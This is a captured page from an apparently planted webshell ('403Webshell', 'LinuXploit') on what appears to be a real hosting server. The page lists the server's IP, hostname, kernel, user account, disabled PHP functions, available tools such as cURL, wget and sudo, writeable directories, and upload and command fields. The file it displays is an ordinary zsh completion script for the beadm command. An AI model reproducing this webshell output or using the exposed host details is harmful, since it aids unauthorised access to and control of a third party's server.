403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.217.89
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/zsh/5.0.2/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/5.0.2/functions/_beadm
#compdef beadm

_beadm() {
	local context state line subcmds
	typeset -A opt_args

	subcmds=( activate create destroy list mount rename unmount )

	if [[ $service == "beadm" ]]; then
		_arguments -C -A "-*" \
			'*::command:->subcmd' && return 0

		if (( CURRENT == 1 )); then
			_wanted commands expl 'beadm subcommand' compadd -a subcmds
			return
		fi
		service="$words[1]"
		curcontext="${curcontext%:*}=$service:"
	fi

	case $service in
	(activate)
		_arguments -A "-*" \
			':BE name:_be_name'
		;;

	(create)
		# TODO: Add support for -o, and for creating snapshots
		_arguments -A "-*" \
			'-a[Activate new BE]' \
			'-d[Description]:' \
			'-e[Base BE]:BE name or snapshot:_be_name -t all' \
			'-p[Create new BE in specified ZFS pool]:ZFS pool:_zfs_pool' \
			':new BE name:'
		;;

	(destroy)
		_arguments -A "-*" \
			'-f[Unmount BE if necessary]' \
			"-F[Don't prompt for verification]" \
			':BE or BE snapshot:_be_name'
		;;

	(list)
		_arguments -A "-*" \
			'-a[List subordinate filesystems and snapshots]' \
			'-d[List subordinate filesystems]' \
			'-s[List snapshots]' \
			'-H[Parseable format]' \
			':BE name:_be_name'
		;;

	(mount)
		_arguments -A "-*" \
			':BE name:_be_name' \
			':mountpoint:_path_files -/'
		;;

	(rename)
		_arguments -A "-*" \
			':existing BE name:_be_name' \
			':new BE name:'
		;;

	(unmount)
		_arguments -A "-*" \
			'-f[Force unmount]' \
			':BE name:_be_name'
		;;

	(*)
		_message "unknown beadm subcommand: $service"
	esac
}

_beadm "$@"

Youez - 2016 - github.com/yon3zu
LinuXploit